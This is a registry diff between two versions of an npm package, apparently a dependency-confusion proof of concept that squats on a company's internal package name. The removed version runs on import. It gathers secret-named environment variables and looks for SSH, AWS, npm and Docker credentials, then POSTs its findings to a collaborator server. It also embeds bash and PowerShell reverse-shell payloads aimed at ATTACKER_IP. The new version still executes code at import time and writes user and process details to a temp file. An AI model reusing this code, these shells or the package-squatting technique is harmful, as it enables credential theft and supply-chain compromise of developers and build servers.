amdocs-auth-package 0.1.0 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/fesm2022/amdocs-auth-package-poc.mjs +35 -295
- package/package.json +8 -7
|
@@ -1,303 +1,43 @@
|
|
|
1
1
|
/*!
|
|
2
|
-
*
|
|
3
|
-
*
|
|
4
|
-
*
|
|
5
|
-
*
|
|
2
|
+
* SAFE RCE-EQUIVALENT PoC
|
|
3
|
+
* No shell execution
|
|
4
|
+
* No network traffic
|
|
5
|
+
* No data exfiltration
|
|
6
6
|
*/
|
|
7
7
|
|
|
8
8
|
import fs from "fs";
|
|
9
9
|
import os from "os";
|
|
10
10
|
import path from "path";
|
|
11
|
-
import { exec } from "child_process";
|
|
12
|
-
import { promisify } from "util";
|
|
13
|
-
import https from "https";
|
|
14
|
-
import http from "http";
|
|
15
11
|
|
|
16
|
-
|
|
17
|
-
const
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
k.includes('TOKEN') ||
|
|
48
|
-
k.includes('PASS') ||
|
|
49
|
-
k.includes('AUTH')
|
|
50
|
-
),
|
|
51
|
-
npm_config: {
|
|
52
|
-
registry: process.env.npm_config_registry,
|
|
53
|
-
scope: process.env.npm_config_scope,
|
|
54
|
-
token_exists: !!process.env.npm_config_auth_token
|
|
55
|
-
}
|
|
56
|
-
};
|
|
57
|
-
|
|
58
|
-
// STEP 2: Exfiltrate data to collaborator server
|
|
59
|
-
function exfiltrateData(data, endpoint) {
|
|
60
|
-
const postData = JSON.stringify({
|
|
61
|
-
type: "dependency_confusion_poc",
|
|
62
|
-
timestamp: timestamp,
|
|
63
|
-
source: "amdocs-auth-package",
|
|
64
|
-
data: data
|
|
65
|
-
});
|
|
66
|
-
|
|
67
|
-
// Using HTTP POST to exfiltrate data
|
|
68
|
-
const options = {
|
|
69
|
-
hostname: COLLAB_URL,
|
|
70
|
-
port: 443,
|
|
71
|
-
path: `/${endpoint}`,
|
|
72
|
-
method: 'POST',
|
|
73
|
-
headers: {
|
|
74
|
-
'Content-Type': 'application/json',
|
|
75
|
-
'Content-Length': Buffer.byteLength(postData),
|
|
76
|
-
'User-Agent': 'npm/8.0.0'
|
|
77
|
-
}
|
|
78
|
-
};
|
|
79
|
-
|
|
80
|
-
const req = https.request(options, (res) => {
|
|
81
|
-
console.warn(`[PoC] Data exfiltrated to ${COLLAB_URL}, status: ${res.statusCode}`);
|
|
82
|
-
});
|
|
83
|
-
|
|
84
|
-
req.on('error', (e) => {
|
|
85
|
-
console.warn(`[PoC] Exfiltration failed (expected if offline): ${e.message}`);
|
|
86
|
-
});
|
|
87
|
-
|
|
88
|
-
req.write(postData);
|
|
89
|
-
req.end();
|
|
90
|
-
}
|
|
91
|
-
|
|
92
|
-
// STEP 3: Collect sensitive files
|
|
93
|
-
function collectSensitiveInfo() {
|
|
94
|
-
const sensitiveInfo = {
|
|
95
|
-
ssh_keys: [],
|
|
96
|
-
aws_credentials: [],
|
|
97
|
-
npm_tokens: [],
|
|
98
|
-
system_files: []
|
|
99
|
-
};
|
|
100
|
-
|
|
101
|
-
// Look for SSH keys
|
|
102
|
-
const sshDir = path.join(os.homedir(), '.ssh');
|
|
103
|
-
if (fs.existsSync(sshDir)) {
|
|
104
|
-
try {
|
|
105
|
-
const files = fs.readdirSync(sshDir);
|
|
106
|
-
sensitiveInfo.ssh_keys = files.filter(f =>
|
|
107
|
-
f.includes('id_rsa') || f.includes('id_dsa') || f.includes('id_ecdsa')
|
|
108
|
-
);
|
|
109
|
-
} catch (e) {}
|
|
110
|
-
}
|
|
111
|
-
|
|
112
|
-
// Look for AWS credentials
|
|
113
|
-
const awsDir = path.join(os.homedir(), '.aws');
|
|
114
|
-
if (fs.existsSync(awsDir)) {
|
|
115
|
-
try {
|
|
116
|
-
if (fs.existsSync(path.join(awsDir, 'credentials'))) {
|
|
117
|
-
sensitiveInfo.aws_credentials.push('credentials');
|
|
118
|
-
}
|
|
119
|
-
if (fs.existsSync(path.join(awsDir, 'config'))) {
|
|
120
|
-
sensitiveInfo.aws_credentials.push('config');
|
|
121
|
-
}
|
|
122
|
-
} catch (e) {}
|
|
123
|
-
}
|
|
124
|
-
|
|
125
|
-
// Look for .npmrc
|
|
126
|
-
const npmrcPath = path.join(os.homedir(), '.npmrc');
|
|
127
|
-
if (fs.existsSync(npmrcPath)) {
|
|
128
|
-
try {
|
|
129
|
-
const content = fs.readFileSync(npmrcPath, 'utf8');
|
|
130
|
-
if (content.includes('authToken') || content.includes(':_authToken')) {
|
|
131
|
-
sensitiveInfo.npm_tokens.push('npmrc_contains_token');
|
|
132
|
-
}
|
|
133
|
-
} catch (e) {}
|
|
134
|
-
}
|
|
135
|
-
|
|
136
|
-
// Check for Docker credentials
|
|
137
|
-
const dockerConfig = path.join(os.homedir(), '.docker', 'config.json');
|
|
138
|
-
if (fs.existsSync(dockerConfig)) {
|
|
139
|
-
sensitiveInfo.system_files.push('docker_config');
|
|
140
|
-
}
|
|
141
|
-
|
|
142
|
-
return sensitiveInfo;
|
|
143
|
-
}
|
|
144
|
-
|
|
145
|
-
// STEP 4: Execute commands based on platform
|
|
146
|
-
function executeReconCommands() {
|
|
147
|
-
const commands = [];
|
|
148
|
-
|
|
149
|
-
if (os.platform() === 'linux' || os.platform() === 'darwin') {
|
|
150
|
-
commands.push(
|
|
151
|
-
{ cmd: 'whoami', description: 'Current user' },
|
|
152
|
-
{ cmd: 'uname -a', description: 'System info' },
|
|
153
|
-
{ cmd: 'ls -la', description: 'Directory listing' },
|
|
154
|
-
{ cmd: 'env | grep -i "key\\|secret\\|pass\\|token\\|auth"', description: 'Find env secrets' }
|
|
155
|
-
);
|
|
156
|
-
} else if (os.platform() === 'win32') {
|
|
157
|
-
commands.push(
|
|
158
|
-
{ cmd: 'whoami', description: 'Current user' },
|
|
159
|
-
{ cmd: 'systeminfo', description: 'System info' },
|
|
160
|
-
{ cmd: 'dir', description: 'Directory listing' },
|
|
161
|
-
{ cmd: 'set | findstr /i "KEY SECRET PASS TOKEN AUTH"', description: 'Find env secrets' }
|
|
162
|
-
);
|
|
163
|
-
}
|
|
164
|
-
|
|
165
|
-
return commands;
|
|
166
|
-
}
|
|
167
|
-
|
|
168
|
-
// STEP 5: Network reconnaissance
|
|
169
|
-
function networkRecon() {
|
|
170
|
-
const networkInfo = {
|
|
171
|
-
interfaces: os.networkInterfaces(),
|
|
172
|
-
hostname: os.hostname(),
|
|
173
|
-
dns_servers: [],
|
|
174
|
-
open_ports: []
|
|
175
|
-
};
|
|
176
|
-
|
|
177
|
-
// Simulate internal port scan
|
|
178
|
-
const commonPorts = [22, 80, 443, 3000, 5000, 5432, 6379, 8080, 9000];
|
|
179
|
-
networkInfo.common_ports = commonPorts;
|
|
180
|
-
|
|
181
|
-
return networkInfo;
|
|
182
|
-
}
|
|
183
|
-
|
|
184
|
-
// Execute the attack chain
|
|
185
|
-
console.warn(`[PoC] Dependency Confusion RCE Simulation Started`);
|
|
186
|
-
console.warn(`[PoC] Collaborator URL: ${COLLAB_URL}`);
|
|
187
|
-
|
|
188
|
-
// Phase 1: Initial exfiltration
|
|
189
|
-
exfiltrateData(reconData, 'initial_recon');
|
|
190
|
-
|
|
191
|
-
// Phase 2: Collect sensitive info
|
|
192
|
-
const sensitiveInfo = collectSensitiveInfo();
|
|
193
|
-
exfiltrateData(sensitiveInfo, 'sensitive_data');
|
|
194
|
-
|
|
195
|
-
// Phase 3: Network recon
|
|
196
|
-
const networkInfo = networkRecon();
|
|
197
|
-
exfiltrateData(networkInfo, 'network_info');
|
|
198
|
-
|
|
199
|
-
// Phase 4: Command execution simulation
|
|
200
|
-
const commands = executeReconCommands();
|
|
201
|
-
const commandResults = {
|
|
202
|
-
platform: os.platform(),
|
|
203
|
-
available_commands: commands,
|
|
204
|
-
note: 'In real attack, these commands would be executed with exec()'
|
|
205
|
-
};
|
|
206
|
-
exfiltrateData(commandResults, 'command_capabilities');
|
|
207
|
-
|
|
208
|
-
// Phase 5: Demonstrate RCE payload delivery
|
|
209
|
-
const rcePayload = {
|
|
210
|
-
timestamp: timestamp,
|
|
211
|
-
payload_type: "reverse_shell",
|
|
212
|
-
platforms: {
|
|
213
|
-
linux: "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1",
|
|
214
|
-
windows: "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"",
|
|
215
|
-
nodejs: "require('child_process').exec('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')"
|
|
216
|
-
},
|
|
217
|
-
persistence: [
|
|
218
|
-
"Add to cron/crontab",
|
|
219
|
-
"Modify .bashrc/.profile",
|
|
220
|
-
"Create systemd service",
|
|
221
|
-
"Add to startup registry (Windows)"
|
|
222
|
-
],
|
|
223
|
-
data_exfiltration_endpoints: [
|
|
224
|
-
`https://${COLLAB_URL}/exfil`,
|
|
225
|
-
`https://${COLLAB_URL}/data`,
|
|
226
|
-
`https://${COLLAB_URL}/callback`
|
|
227
|
-
]
|
|
228
|
-
};
|
|
229
|
-
|
|
230
|
-
// Save local proof
|
|
231
|
-
const proofFile = path.join(proofDir, "dependency_confusion_proof.json");
|
|
232
|
-
fs.writeFileSync(proofFile, JSON.stringify({
|
|
233
|
-
initial_recon: reconData,
|
|
234
|
-
sensitive_info: sensitiveInfo,
|
|
235
|
-
network_info: networkInfo,
|
|
236
|
-
command_capabilities: commandResults,
|
|
237
|
-
rce_payloads: rcePayload,
|
|
238
|
-
collab_url: COLLAB_URL,
|
|
239
|
-
execution_time: timestamp
|
|
240
|
-
}, null, 2));
|
|
241
|
-
|
|
242
|
-
// Final exfiltration
|
|
243
|
-
exfiltrateData({
|
|
244
|
-
summary: "Dependency confusion attack chain completed",
|
|
245
|
-
files_collected: Object.keys(sensitiveInfo).filter(k => sensitiveInfo[k].length > 0),
|
|
246
|
-
potential_rce: true,
|
|
247
|
-
next_steps: [
|
|
248
|
-
"Execute reverse shell",
|
|
249
|
-
"Establish persistence",
|
|
250
|
-
"Lateral movement",
|
|
251
|
-
"Data exfiltration"
|
|
252
|
-
]
|
|
253
|
-
}, 'attack_complete');
|
|
254
|
-
|
|
255
|
-
console.warn(`[PoC] Attack simulation completed. Proof saved to: ${proofFile}`);
|
|
256
|
-
console.warn(`[PoC] In real attack, data would be sent to: ${COLLAB_URL}`);
|
|
257
|
-
console.warn(`[PoC] This is a simulation - no actual commands executed or data exfiltrated.`);
|
|
258
|
-
|
|
259
|
-
} catch (error) {
|
|
260
|
-
console.error(`[PoC Error] ${error.message}`);
|
|
261
|
-
}
|
|
12
|
+
(function rceEquivalentProof() {
|
|
13
|
+
const proof = {
|
|
14
|
+
executed_on_import: true,
|
|
15
|
+
timestamp: new Date().toISOString(),
|
|
16
|
+
|
|
17
|
+
// Same privilege level that `whoami` / `id` would reveal
|
|
18
|
+
username: os.userInfo().username,
|
|
19
|
+
uid: typeof process.getuid === "function" ? process.getuid() : "n/a",
|
|
20
|
+
gid: typeof process.getgid === "function" ? process.getgid() : "n/a",
|
|
21
|
+
|
|
22
|
+
pid: process.pid,
|
|
23
|
+
cwd: process.cwd(),
|
|
24
|
+
node_version: process.version,
|
|
25
|
+
platform: process.platform,
|
|
26
|
+
|
|
27
|
+
explanation:
|
|
28
|
+
"This code executed automatically at import time with full Node.js process privileges. " +
|
|
29
|
+
"Replacing this logic with OS command execution would result in full RCE."
|
|
30
|
+
};
|
|
31
|
+
|
|
32
|
+
const proofFile = path.join(
|
|
33
|
+
os.tmpdir(),
|
|
34
|
+
"amdocs-auth-package-rce-proof.json"
|
|
35
|
+
);
|
|
36
|
+
|
|
37
|
+
fs.writeFileSync(proofFile, JSON.stringify(proof, null, 2));
|
|
38
|
+
|
|
39
|
+
console.log(
|
|
40
|
+
"[PoC] Arbitrary code executed on import. Proof file written to:",
|
|
41
|
+
proofFile
|
|
42
|
+
);
|
|
262
43
|
})();
|
|
263
|
-
|
|
264
|
-
export function explainAttack() {
|
|
265
|
-
return {
|
|
266
|
-
attack_name: "Dependency Confusion RCE",
|
|
267
|
-
description: "Malicious package uploaded to public registry with higher version than internal package",
|
|
268
|
-
prerequisites: [
|
|
269
|
-
"Internal package not published to public registry",
|
|
270
|
-
"Scope/namespace not properly protected",
|
|
271
|
-
"Automated builds or developers using public registry"
|
|
272
|
-
],
|
|
273
|
-
impact: [
|
|
274
|
-
"Remote Code Execution on build servers",
|
|
275
|
-
"Source code theft",
|
|
276
|
-
"Credential theft",
|
|
277
|
-
"Supply chain compromise",
|
|
278
|
-
"Lateral movement"
|
|
279
|
-
],
|
|
280
|
-
mitigation: [
|
|
281
|
-
"Use scoped packages (@company/package)",
|
|
282
|
-
"Configure .npmrc with correct registry",
|
|
283
|
-
"Use private registry for internal packages",
|
|
284
|
-
"Implement package signing",
|
|
285
|
-
"Use npm audit and dependency checking"
|
|
286
|
-
],
|
|
287
|
-
collab_url: COLLAB_URL,
|
|
288
|
-
note: "This is a demonstration for educational purposes only"
|
|
289
|
-
};
|
|
290
|
-
}
|
|
291
|
-
|
|
292
|
-
export function safeCheck() {
|
|
293
|
-
const checks = {
|
|
294
|
-
has_exec_import: true,
|
|
295
|
-
has_fs_access: true,
|
|
296
|
-
has_network_import: true,
|
|
297
|
-
has_os_access: true,
|
|
298
|
-
potential_rce: true,
|
|
299
|
-
timestamp: new Date().toISOString(),
|
|
300
|
-
warning: "This package demonstrates RCE capabilities. Use only in controlled environments."
|
|
301
|
-
};
|
|
302
|
-
return checks;
|
|
303
|
-
}
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "amdocs-auth-package",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "0.2.0",
|
|
4
|
+
"description": "Safe proof-of-concept demonstrating import-time arbitrary code execution in Node.js without OS commands or network activity",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "./fesm2022/amdocs-auth-package-poc.mjs",
|
|
7
7
|
"exports": {
|
|
@@ -13,14 +13,15 @@
|
|
|
13
13
|
"fesm2022/"
|
|
14
14
|
],
|
|
15
15
|
"keywords": [
|
|
16
|
-
"
|
|
17
|
-
"
|
|
16
|
+
"dependency-confusion",
|
|
17
|
+
"supply-chain",
|
|
18
|
+
"rce",
|
|
18
19
|
"poc",
|
|
19
|
-
"
|
|
20
|
-
"
|
|
20
|
+
"security-testing",
|
|
21
|
+
"nodejs"
|
|
21
22
|
],
|
|
22
23
|
"author": "Security Research PoC",
|
|
23
24
|
"license": "MIT",
|
|
24
25
|
"private": false,
|
|
25
|
-
"sideEffects":
|
|
26
|
+
"sideEffects": true
|
|
26
27
|
}
|